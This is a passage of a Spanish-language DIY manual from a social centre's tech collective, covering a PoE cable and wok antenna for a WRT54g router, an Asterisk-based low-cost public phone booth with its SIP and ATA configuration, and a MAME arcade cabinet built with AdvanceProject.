Para hacer el cable POE (Power Over Ethernet) soldaremos la placa del WRT54g por la parte trasera. Buscamos los 8 pines de la entrada ethernet que dice WAN (esta separada de las otras cuatro numeradas) y soldamos un cable comun de un hilo entre los pines X y X hacia el conector de energia electrica. Luego de esto, debemos hacer un cable de red especial al que ira unido con el cable de alimentacion electrica. Cortamos el cable de red por cualquiera de sus puntas sy unimos los cables Blanco Azul/ Azul y por otra parte los cables Blanco/Maron Marron. Podemos cortar las puntas de los otros colores, no las necesitaremos. Del cable de alimentacion electrica nos deshacemos del conector y nos quedamos con el enchufe gordo. El cable con lineas punteadas lo unimos con los cables Marrones, el cable negro con el Azul. Ya tenemos el cable listo, lo conectamos al WAN y se deben encender las luces frontales.

Tupperbox / WokFi

Mientras mas cerca este el Linksys de la conexion que repetiremos, mejor calidad tendra. Por eso lo pondremos en el exterior, y al ser una placa con electricidad no se debe mojar. Conseguimos un tupperbox de comida con el ancho para que quepa acostado y le hacemos dos agujeros para sacar las antenas negras, y otros dos para sacar el cable de electricidad y el de datos. Tapamos y cubrimos con cinta para que no entre el agua.

Para incrementar la intensidad de señal en la antena, el metodo mas economico y facil es agregarle un Wok, un bol de metal con rejillas que lo que hace es rebotar la señal para captar la señal con mas fidelidad

24

BlancoNaranja/Naranja BlancoVerde/Azul BlancoAzul/Verde BlancoMarron/Marron

Page 25: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Cabinas Telefonicas Gratuitas en la calleEn este tutorial explicaremos como montar desde cero una cabina telefonica de bajo coste para hacer llamadas gratuitas a telefonos fijos de mas de 40 paises utilizando Asterisk y un proveedor de telefonia SIP.

Todo lo que utilizamos es facil de conseguir, excepto el adaptador ATA (si no sabes lo que es no te preocupes, mas adelante se explica) , aunque para utilizar Asterisk no lo necesitamos, solo se requiere si se quiere conectar a telefonos analogicos. Tambien podremos configurarlo con un telefono IP si tenemos, o bien conectarse con un softphone, es decir, un telefono por software: el Ekiga sin ir mas lejos. Con el tiempo veremos que la versatilidad del Asterisk es tal que se puede conectar de muchas formas, de hecho de las centralitas PBX es la que soporta mas protocolos y canales: desde lineas analogicas hasta clientes/servidores SIP, H323.b, IAX2, adaptadores ATA, placas FXS/FXO, e incluso hay un proyecto para que pueda anunciarse como un BTS (antena GSM–moviles!!). Para la instalación de las cabinas que tenemos en el Patio hemos utilizado:

• Ordenador: AMD Duron a 900 Mhz con 386 Mb de RAM.

• Software: Asterisk 1.6

• Software cliente: Softphone. Puede ser Ekiga o Twinkle.

• Hardware: Adaptador ATA, Linksys SPA3102.

• Proveedor de telefonia SIP: VoIPBuster.• Cable telefonico RJ11•• Telefono

Numeros

• El total de llamadas (a 31 de Diciembre de 2009) son 10051.

• La duración media de la llamada es 01 minuto 53 segundost.

• Solo 657 son a los monos (666)

• Se consumieron mas de 18936 minutos

• Se pueden llamar a fijos de 48 paises y a moviles de 3

• Llegaron a haber 5 telefonos (3 lineas separadas) por todo el Patio.

• 3 lineas externas conectadas: VoIPBuster, 12Voip, tarifa plana de llamadas nacionales.

• Llamadas realizadas: España (Nacionales): 6312 (91*)

• Europa: 1088 (003*) America Latina: 802 (005*)

• America del Norte: 317 (001*)Oceania/Asia: 54 (006*)

ConceptosTelefono es un dispositivo de telecomunicación diseñado para transmitir señales acústicas por medio de señales eléctricas a distancia. Muy parecido al teletrófono.http://es.wikipedia.org/wiki/Telefono

RJ11 es un conector usado mayoritariamente para enlazar redes de telefonía. Es de medidas reducidas y tiene cuatro contactos como para soportar 4 vias de 2 cables. Es el conector más difundido globalmente para la conexión de aparatos telefónicos convencionales, donde se suelen utilizar generalmente sólo los dos pin es centrales para una línea simple o par telefónico. Una vez crimpado al cable, resulta casi imposible desarmar el RJ-11 sin provocar su inutilización.http://es.wikipedia.org/wiki/RJ11

Asterisk es una aplicación de software lire (bajo licencia GPL) que proporciona funcionalidades de una central telefónica (PBX). Como cualquier PBX, se puede conectar un número determinado de teléfonos para hacer llamadas entre sí e incluso conectar a un proveedor de VoIP o bien a una RDSI tanto básicos como primarios.http://es.wikipedia.org/wiki/Asterisk

PBXUn PBX o PABX (siglas en inglés de Private Branch Exchange y Private Automatic Branch Exchange para PABX) cuya traducción al español sería Central secundaria privada automática, es cualquier central telefónica conectada directamente a la red pública de teléfono por medio de líneas troncales para gestionar, además de las llamadas internas, las entrantes y/o salientes con autonomía sobre cualquier otra central telefónica. Este dispositivo generalmente pertenece a la empresa que lo tiene instalado y no a la compañía telefónica, de aquí el adjetivo privado a su denominación.http://es.wikipedia.org/wiki/PBX

25

Page 26: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Softphone Un Softphone (en inglés combinación de Software y de Telephone) es un software que hace una simulación de teléfono convencional por computadora. Es decir, permite usar la computadora para hacer llamadas a otros softphones o a otros teléfonos convencionales usando un VSP. Ejemplos: Ekiga, Twinklehttp://es.wikipedia.org/wiki/Softphone

VSP El acrónimo en inglés de VoIP Service Provider (Proveedor de Servicios de VoIP), empresa dedicada a conectar por teléfono los usuarios de Software VoIP, los usuarios de teléfonos convencional y celular usando un software de centralita telefónica (PBX). Ejemplos: VoIPBuster, 12Voip (Betamax) Bonus!!: Comparacion de costes en proveedores de Betamax: http://backsla.sh/betamaxhttp://es.wikipedia.org/wiki/VSP

Adaptador ATA Un adaptador analogico telefonico (ATA por sus siglas en ingles, Analog Telephony Adapter) es un dispositivo utilizado para conectar una o mas lineas telefónicas estandar a una digital y/o sistema de telefonia no estadar, como una red basada en Voz sobre IP. Ejemplo: Linksys SPA3102.http://en.wikipedia.org/wiki/Analog_telephony_adapter

PSTN / RTB Se define la Red Telefónica Básica (RTB) como los conjuntos de elementos constituido por todos los medios de transmisión y conmutación necesarios que permite enlazar a voluntad dos equipos terminales mediante un circuito físico que se establece específicamente para la comunicación y que desaparece una vez que se ha completado la misma. Se trata por tanto, de una red de telecomunicaciones conmutada.http://es.wikipedia.org/wiki/Red_Telef%C3%B3nica_Conmutada

SIP Session Initiation Protocol (SIP o Protocolo de Inicio de Sesiones) es un protocolo desarrollado por el IETF MMUSIC Working Group con la intención de ser el estándar para la iniciación, modificación y finalización de sesiones interactivas de usuario donde intervienen elementos multimedia como el video, voz, mensajería instantánea, juegos online y realidad virtual.http://es.wikipedia.org/wiki/Session_Initiation_Protocol

IAXIAX (Inter-Asterisk eXchange protocol) es uno de los protocolos utilizado por Asterisk, un servidor PBX (central telefónica) de código abierto patrocinado por Digium. Es utilizado para manejar conexiones VoIP entre servidores Asterisk, y entre servidores y clientes que también utilizan protocolo IAX.http://es.wikipedia.org/wiki/IAX

Que es Asterisk?http://www.asterisk.org/

Asterisk es una aplicación de software libre (bajo licencia GPL) que proporciona funcionalidades de una central telefónica (PBX). Como cualquier PBX, se puede conectar un número determinado de teléfonos para hacer llamadas entre sí e incluso conectar a un proveedor deVoIP o bien a una RDSI tanto básicos como primarios.

Como se instala?Lo instalaremos en Debian, una distribucion GNU/Linux. Para empezar actualizaremos los repositorios al listado mas reciente de paquetes e instalaremos las actualizaciones pendientes

apt-get update

apt-get dist-upgrade

La forma mas facil y rapida de instalarlo, es con el siguiente comando:

aptitude install asterisk

Para inciar el Asterisk como demonio basta hacerlo con el siguiente comando:

/etc/init.d/asterisk start

Luego para pararlo:

/etc/init.d/asterisk stop

Por ultimo, para reiniciarlo:

/etc/init.d/asterisk restart

En caso de que queramos iniciarlo solo por un tiempo determinado y no todo el tiempo, debemos iniciarlo con el comando:

26

Page 27: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

/usr/sbin/asterisk -vvvvc

Con esto iniciaremos la aplicacion e ingresaremos a la consola, [*CLI>]. Puedes ver como manejarte en ella en la seccion “Consola y Logs“. En caso de que lo hayamos iniciado como demonio, para conectarnos a la consola deberemos hacerlo con el mismo comando pero la opcion -r en vez de -c:

/usr/sbin/asterisk -vvvvr

Si queremos que inicie cada vez que arranque el ordenador tendremos que modificar el siguiente fichero:

nano /etc/default/asterisk

La siguiente linea:

RUNASTERISK=yes

Y como se configura esto?Una vez que tengamos todo instalado podremos ojear los ficheros de configuracion de ejemplo que nos instalamos en los ultimos pasos:

less /etc/asterisk/sip.conf

less /etc/asterisk/extension.conf

Estos ficheros son los que mas veremos en este tutorial. En sip.conf configuraremos los clientes, peers o amigos (en jerga asteriskiana) que tendremos y en extensions.conf nuestro DialPlan. Este es nuestro plan de llamadas: que hara cuando reciba una llamada a tal extension, o que hara cuando un usuario intente llamar a alguna otra. Los otros ficheros que hay en la carpeta /etc/asterisk son para todas las otras funcionalidades que nos ofrece. Esta es la principal ventaja de Asterisk frente a las otras centralitas (PBX), que desde el principio y modificando solo alguna linea de los ficheros podremos tener funcionalidades impresionantes, como salas de conferencias (meetme.conf), buzon de voz (voicemail.conf) y conexion con diferentes tipos de protocolos VoIP como SIP (en el sip.conf) e IAX2 (iax.conf) . Vamos a ponernos a manos a la obra, para esto haremos una copia de seguridad de los ficheros que ya tenemos.

mv /etc/asterisk/sip.conf /etc/asterisk/sip.conf.old

mv /etc/asterisk/extensions.conf /etc/asterisk/extensions.conf.old

sip.confComo ya dijimos, en este se configuran los diferentes usuarios, clientes y peers. Aqui es donde puede diferir mas nuestra configuracion. Todos los ficheros de configuracion de Asterisk comienzan con la etiqueta [general], con las opciones globales y luego cada etiqueta servira para cada uno de los clientes. Estos pueden ser desde clientes SIP de software aka softphone (como el Ekiga o el Twinkle para GNU/Linux), un telefono SIP fisico, un adaptador ATA o un proveedor de telefonia SIP. Si tenemos una tarjeta PCI FXS o FXO haremos las configuraciones en zapata.conf. En nuestro caso el hardware con el que contamos es un adaptador ATA Linksys SPA302, Este se configura en la etiqueta [patio]. Tambien lo conectamos a un proveedor de telefonia SIP llamado VoIPBuster, en la etiqueta [voipbuster] (si conoces uno con mejores precios dimelo a [email protected] ;D) y creamos un usuario preparado para conectarlo por softphone (tanto con twinkle como con ekiga) en la etiqueta [isaac]

[general]context=defaultuseragent=disallow=allallow=gsmallow=alawallow=ulawlanguage=essrvlookup=yestos_sip = cs3tos_audio = eftos_video = af41allowguest = yes register = isaac.hacksimov:[email protected]:5060 [patio]

27

Page 28: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

type=friendhost=dynamicusername=patiosecret=CONTRASENAcallerid="Patio Maravillas"context=patioqualify=yes [voipbuster]type=peerhost=sip1.voipbuster.comusername=isaac.hacksimovfromuser=isaac.hacksimovsecret=CONTRASENAcontext=voipbusterinsecure=port,invitequalify=yescanrein invite=no [isaac]type=friendhost=dynamicusername=isaacsecret=CONTRASENAcallerid="Dr. Isaac Hacksimov"context=patiomailbox=3000@defaultqualify=yesVamos paso por paso:[general]context=defaultuseragent=disallow=allallow=gsmallow=alawallow=ulawlanguage=essrvlookup=yestos_sip = cs3tos_audio = eftos_video = af41allowguest = yesregister = isaac.hacksimov:[email protected]:5060

Aqui le estamos diciendo el contexto en el que se encuentra esta etiqueta (esto lo volveremos a ver en el extensions.conf), tambien que tipo de codecs estamos permitiendo (gsm, alaw, ulaw) y el idioma (espaniol, mas tarde instalaremos los sonidos), La linea de register tiene los mismos datos que en la etiqueta [voipbuster]. Es necesario en algunos proveedores. El adaptador ATA:[patio]type=friendhost=dynamicusername=patiosecret=CONTRASENAcallerid="Patio Maravillas"context=patioqualify=yesEn esta seccion le tendremos que poner la IP del adaptador, junto con el nombre y la contraseñOtro dato importante es el contexto, en este caso es “patio”.

[voipbuster]type=peerhost=sip1.voipbuster.comusername=isaac.hacksimovfromuser=isaac.hacksimovsecret=CONTRASENAcontext=voipbusterinsecure=port,invitequalify=yescanrein invite=no

¿GRATIS? “NADA EN LA VIDA ES GRATIS”En este texto se utiliza la palabra gratis, cuando en realidad se quiere decir de bajo coste. Esto es asi ya que aunque no se contrate el servicio con un proveedor SIP, aun asi se estan pagando ciertos gastos: el coste del ordenador sobre el que funciona, electricidad, espacio, tarifa plana de Internet, etc. En definitiva: nada en la vida es gratis.

28

Page 29: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

En esta etiqueta lo importante es el host, que es la URL que nos da nuestro proveedor cuando nos registramos. Elegimos VoIPBuster por permitirnos hacer llamadas gratuitas a los siguientes paises por un plazo de 120 dias pagando 10 euros:Andorra Australia Austria Belgica Canada Checa, Republica

Chile Chipre Dinamarka España Estonia Eu Estados Unidos (+mobile) Finlandia

Francia Guam Hong – Kong (+mobile) Hungria Irlanda Islandia Israel

Italia Japon Luxemburgo Malasia Noruega

Nueva Zelanda Paises Bajos Panama Portugal Puerto Rico (+mobile)

Rusia [moscow] Rusia [st Petersburg] Singapur Sudcorea Suiza Taiwan

¿Cual es el problema con VoIPBuster? Van cambiando el listado de paises sin avisar, por lo que es posible que nos quiten algo de credito. Por ultimo configuramos otro usuario mas. Lo unico que difiere con los anteriores es el host, que es dinamico, esto es decir que puede tener cualquier IP:

[isaac]type=friendhost=dynamicusername=isaacsecret=CONTRASENAcallerid="Dr. Isaac Hacksimov"context=patiomailbox=3000@defaultqualify=yesextensions.conf[general]static=yeswriteprotect=yes[globals]CABINA=SIP/patioVOIPBUSTER=SIP/voipbusterISAAC=SIP/isaac

Este es nuestro pequeño huevo de pascua. Aqui le decimos que atienda, que espere por 2 segundos, que reproduzca unos sonidos (la “introduccion a los monos” y “algo va muy mal”), espere 2 segundos mas, reproduzca otro sonido (“monos” !!!!) y por ultimo cuelgue. El unico contexto que falta poner en esta configuracion es [internacionales]. Al ser una configuracion tan larga y que tanta gente le puede dar uso decidimos liberarlo en una wiki dedicada al mundo VoIP: voip-info.org. El link donde pueden ver las extensiones actualizadas para hacer llamadas a telefonos fijos (landlines/fixed lines) esta aqui: LINKVOIPINFOINTERNACIONALES Todo eso se agregaria en el extensions.conf y tambien como includes del usuario al que queremos habilitar las llamadas internacionales.

Configuracion del cliente SoftphoneVeremos como conectarnos con dos clientes de software: Ekiga y Twinkle.

ekigaPor defecto muchas distribuciones GNU/Linux ya vienen instaladas con un cliente SIP, el Ekiga. En Ubuntu, este se encuentra en Aplicaciones -> Internet -> Softphone Ekiga,[img_assist|nid=1069|title=Ekiga|desc=|link=node|align=right|width=100|height=75]Crearemos una cuenta con lo que hemos puesto en sip.conf, junto con la IP del servidor. En caso de tener que conectarse desde internet deberan abrirse los puertos necesarios y poner la IP publica o el dominio que tengamos asociado a esta.

Protocolo: SIPRegistrador: 192.168.10.1Usuario: isaac Contrasena±CONTRASENA

tiwnkleConectarse a traves de Twinkle es muy sencillo, solo hace falta instalarlo. Para Ubuntu/Debian basta con # sudo aptitude install twinkle Aparecera en Aplicaciones -> Internet -> Twinkle. Lo abriremos y crearemos un perfil nuevo utilizando la configuracion que hemos puesto en el fichero sip.conf. El Domain debe ser la IP donde esta nuestro servidor. Siguiendo el ejemplo asi seria nuestra configuracion:

Your name: isaacUser name: isaacDomain: 192.168.10.1Realm: isaacAuthentication name: isaacPassword: CONTRASENA

Luego deberemos ver lo siguiente en el log del Twinkle: isaac, registration succeeded (expires = 3600 seconds)Esto significa que ya estamos conectados !

29

Page 30: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Configuracion del adaptador ATA

Para configurar el SPA-3102, con una linea de salida para hacer llamadas y otra de entrada/salida PSTN, es decir una linea telefonica normal, vamos a hacer lo siguiente:

1. En un navegador ingresamos la IP del adaptador.2. Nos dira “spa user” y nos pedira usuario y contraseñPondremos usuario “user” y sin contraseñEntraremos una pagina que

nos muestra informacióe la configuracióctual.3. Vamos a la seccion de Administracion, en “Admin login”. Nos pedira nuevamente usuario y contraseñ”admin user”). Esta

vez ponemos como usuario “admin” y sin contraseñ/li>4. Ya aqui nos pondemos a configurarlo:• En Voice -> System podremos cambiar la contraseñe acceso (User Password:). Dandole a “Advanced” podremos tambien

cambiar la contraseñel usuario Admin (Admin Password:)• En Router -> Wan Setup le pondremos una IP estatica dentro de nuestro rango de red. Aqui podremos tambien configurarlo

como router (“PPPoE Settings”)• En Voice -> Line 1 configuraremos nuestra linea para hacer llamadas. Tendremos que poner como minimo los siguientes

paramentros:

Line enable: yes SIP Port: 5060 Proxy: IPDELASTERISK Register: yes Display name: patio[img_assist|nid=1142|title=Configurar adapatador ATA 3102 - 1|desc=|link=node|align=right|width=100|height=66] Password: CONTRASENA Auth ID: patio User ID: patio Use Auth ID: patio Preferred Codec: G711a Use Pref codec only: no

Esto en el Asterisk lo configuramos de la siguiente forma:

[patio]ype=friendhost=IPDELCACHARROusername=patiosecret=CONTRASENAcallerid="Patio Maravillas"context=patioqualify=yes

• En Voice -> PSTN Line configuraremos nuestra linea PSTN para hacer y recibir llamadas.

Line Enable: yes SIP Port: 5061 [img_assist|nid=1143|title=Configurar adapatador ATA 3102 - 2|desc=|link=node|align=left|width=100|height=77] Proxy: IPDELASTERISK Register: yes Display Name: pstn Password: CONTRASENA Auth ID: pstn User ID: pstn Use Auth ID: no Preferred Codec: G711a Use Pref Codec Only: no

Esto en el Asterisk lo configuramos de la siguiente forma:

[pstn-spa3k]type=peerauth=md5host=IPDELCACHARROport=5061secret=CONTRASENAusername=pstnfromuser=pstndtmfmode=rfc2833context=incoming-pstninsecure=very

Consola y LogsPronto veremos que la consola de Asterisk es completamente intuitiva y todo un aliado para resolver problemas.Para conectarnos a la consola depende de como hayamos iniciado Asterisk. Primero comprobamos si esta corriendo con el comando

ps auxf | grep asterisk

En caso de que no lo veamos deberemos conectarnos con el siguiente comando:

/usr/sbin/asterisk -vvvvc

30

Page 31: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Por otro lado, si lo iniciamos como demonio, para conectarnos a la consola deberemos hacerlo con el mismo comando pero la opcion -r en vez de -c:

/usr/sbin/asterisk -vvvvr

Si hay alguna duda sobre este punto, puedes leer la seccion “Iniciar/Parar Asterisk” Una vez dentro de la consola deberas ver lo siguiente: [Nota: CLI significa Command Line Interface, Interfaz de Linea de Comandos]

*CLI>

Para empezar, cuando un usuario se conecte o se realize una llamada lo veremos ahi, por ejemplo cuando el usuario Isaac se conecto a traves del Twinkle aparecio lo siguiente:

-- Registered SIP 'isaac' at 192.168.10.135 port 5060 expires 3600

-- Saved useragent "Twinkle/1.2" for peer isaac [Apr 5 20:01:20] NOTICE[8449]: chan_sip.c:12669 handle_response_peerpoke: Peer 'isaac' is now Reachable. (25ms / 2000ms)

Y cuando se desconecto:

Unregistered SIP 'isaac'

Cuando se conecto con Ekiga:

-- Registered SIP 'isaac' at 192.168.10.135 port 5061 expires 3600

-- Saved useragent "Ekiga/2.0.12" for peer isaac [Apr 5 20:10:27] NOTICE[8449]: chan_sip.c:12669 handle_response_peerpoke: Peer 'isaac' is now Reachable. (32ms / 2000ms)

Cuando realizo un llamado al 666 [monkeys], vemos el DialPlan ejecutandose en tiempo real:

-- Executing [666@patio:1] Answer("SIP/isaac-089832b8", "") in new stack -- Executing [666@patio:2] Wait("SIP/isaac-089832b8","2") in new stack -- Executing [666@patio:3] Playback("SIP/isaac-089832b8", "tt-monkeysintro") in new stack -- <SIP/isaac-089832b8> Playing 'tt-monkeysintro' (language 'es') -- Executing [666@patio:4] Playback("SIP/isaac-089832b8", "tt-somethingwrong") in new stack -- <SIP/isaac-089832b8> Playing 'tt-somethingwrong' (language 'es') -- Executing [666@patio:5] Wait("SIP/isaac-089832b8", "2") in new stack == Spawn extension (patio, 666, 5) exited non-zero on 'SIP/isaac-089832b8'

(No termino con todo porque el usuario colgo antes) Tambien podemos ver en que estado se encuentra nuestro proveedor:

*CLI> [Apr 5 20:18:36] NOTICE[28025]: chan_sip.c:12669 handle_response_peerpoke: Peer 'voipbuster' is now Reachable. (90ms / 2000ms)

Aparte de mostrarnos la informacion en tiempo real, tambien podremos pedirle informacion y cambiar la configuracion. Para aprender a movernos en ella nuestro gran aliado sera la tecla TAB (tabulador). Con esta completaremos y veremos que opciones nos da cada comando, por ejemplo si escribimos “sip show” y pulsamos TAB, veremos:

*CLI> sip show channel channels domains history inuse objects peer peers registry settings subscriptions user users

Lo que intuitivamente nos permite ver diferentes datos:

*CLI> sip show users Username Secret Accountcode Def.Context ACL NAT isaac CONTRASENA patio No RFC3581 patio CONTRASENA patio No RFC3581

CLI> sip show registry Host Username Refresh State Reg.Time sip1.voipbuster.com:5060 isaac.hacksi 105 Registered Sun, 05 Apr 2009 20:18:36

*CLI> sip show peers Name/username Host Dyn Nat ACL Port Status isaac/isaac 192.168.10.135 D 5061 OK (4 ms) voipbuster/isaac.hacksimo 194.221.62.198 5060 OK (90 ms) patio/patio (Unspecified) D 0 UNKNOWN 3 sip peers [Monitored: 2 online, 1 offline Unmonitored: 0 online, 0 offline]

Tambien podemos probar el DialPlan, por ejemplo con el comando “console dial 666″.

*CLI> console dial 666 No such extension '666' in context 'default'

En este caso no funcionara porque no tenemos ninguna extension configurada en el contexto default, pero para hacer pruebas es recomendable ponerlas ahi (basta con ponerlas como include). Lo bueno de esto es que si el servidor tiene altavoces y microfono podremos probarlo sin necesidad de nada mas.

31

Page 32: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

MAME / Consola Recreativa El proyecto consiste en montar una maquina recreativa con software libre, con su estructura de material reciclado y mandos que se asemejan a las maquinas originales. Se le han instalado mas de 800 juegos, con una interface grafica desde el inicio en el que se puede navegar a travez de screenshots.

Es muy importante el hecho de no tener que tener un teclado y raton conectado todo el tiempo y que la interaccion sea mediante los mandos de la maquina. El emulador por el que nos decantamos fue el que ofrece el AdvanceProject . Anteriormente habiamos probado otros frontends (LemonLancher, gxMame) pero el Advance nos parecio el mejor por la simpleza, a la vez que permite una configuracion potente. Tambien lo positivo es que permite varios emuladores desde el mismo frontend, por lo que aparte de MAME y NEOGEO se le puede poner Super Nintendo y Sega Mega Drive.

El proyecto que utilizamos: Advance Project• Juegos: mas de 800, de momento solo de MAME. Pueden agregarse de otros emus (ej zsnes)• Los joysticks son Digi-USB Joystick TopWay TP-U670, compatibles con GNU/Linux••

La estructuraLa estructura exterior (el mueble donde va alojado el pc) fue reciclado de dos puertas, recortado y pintado rusticamente por diferentes artistas del centro social. El proyecto comenzo haciendo el mueble en Diciembre 2007 y montandolo todo lo que se fue juntando en Julio 2008.

Los diferentes componentes que tiene son: la CPU (bautizada Courie), 2 joysticks con palanca, pantalla plana amueblada, altavoces y la estructura de madera.

Las primeras versiones de la caja fue variando debido a la cantidad de golpes que recibia, haciendola cada vez mas inestable. Los remaches y tornillos aun asi la han hecho sobrevivir a mudanzas, desalojos, fiestas y demas eventos.

AdvanceProjectEl software utilizado es el AdvanceProject, en particular el AdvMame y el AdvMenu. El primero consiste en un emulador y el segundo es el frontend donde se muestran todos los juegos

disponibles. Imagenes aqui.Se instalo sobre un Xubuntu 8.04 utilizando XFCE 4.4.2. Para instalar se usaron los paquetes .deb de este foro. Tambien se siguieron las instrucciones de este tutorial.Instalamos primero las dependencias:

sudo apt-get install libfreetype6 libexpat1 libsdl1.2debian-alsa wget

Luego descargamos los fichero .deb

wget http://david.dantoine.org/ficheros/ages/advancemame_0.106.0-586-6_i386.deb

wget http://david.dantoine.org/ficheros/ages/advancemenu_2.4.13-586-5_i386.deb

wget http://david.dantoine.org/ficheros/ages/advance-common_0.106.0-2_i386.deb

Y ponemos en una terminal:

sudo dpkg -i advancemame_0.106.0-586-6_i386.deb

sudo dpkg -i advancemenu_2.4.13-586-5_i386.deb

sudo dpkg -i advance-common_0.106.0-2_i386.deb

Una vez instalado ponemos

advmame

advmenu

32

Page 33: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Para que cree los ficheros de configuracion necesarios. Si nos equivocamos en algo de la configuracion podemos volver a generarlos simplemente eliminando los ficheros

rm /home/user/.advance/advmame.rc

rm /home/user/.advance/advmenu.rc

Tambien se pueden regenerar poniendo

advmame –default

advmenu --default

Los cambios que se realizaron en los ficheros de configuracion .advance/advmame.rc y .advance/advmenu son:

device_joystick auto

device_video_output fullscreen

input_map[coin1] joystick_button[0,8]

input_map[coin2] joystick_button[1,8]

input_map[start1] joystick_button[0,9]

input_map[start2] joystick_button[1,9]

input_map[misc_quiet] joystick_button[0,7]

video_interlace no

misc_quiet yes

Probamos que funcione el joystick aplicacion advj. Esto sirve para comprobar que cuando presionamos las teclas del joystick el ordenador recibe la señal.

advj

Copiamos las roms de los juegos (los debemos descargar de internet) en la carpeta.advance/roms

Copiamos las snapshots (capturas de pantallas) de los juegos (descargados de [http://www.mininova.org/tor/1223419]) en la carpeta

.advance/snaps

TIPSCOINS

input_map[coin1] joystick_button[x,x]

START

input_map[start1] joystick_button[x,x]

EXIT

input_map[ui_cancel] joystick_button[x,x]

NOCERRARSE

misc_exit none

RESOLUCION

33

Page 34: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

device_video_clock 10 - 150 / 30.5 - 60 / 55 – 130

echo video_restore no >> advmenu.rc

video_size 800

video_size 320

video_size 640

MUSICA

sound_background_loop_dir "mp3"

APAGAR

ui_command "Shutdown" halt

ui_command "Reset" reboot

RESOLUCION

device_video_output overlay

AUTOCOINSTART

simulate_event(coin1, 100); \

delay(300); \

simulate_event(start1, 100);

AUTOSTART

script_start2 wait(!event()); simulate_event(coin2, 100); delay(300); simulate_event(start2, 100);

34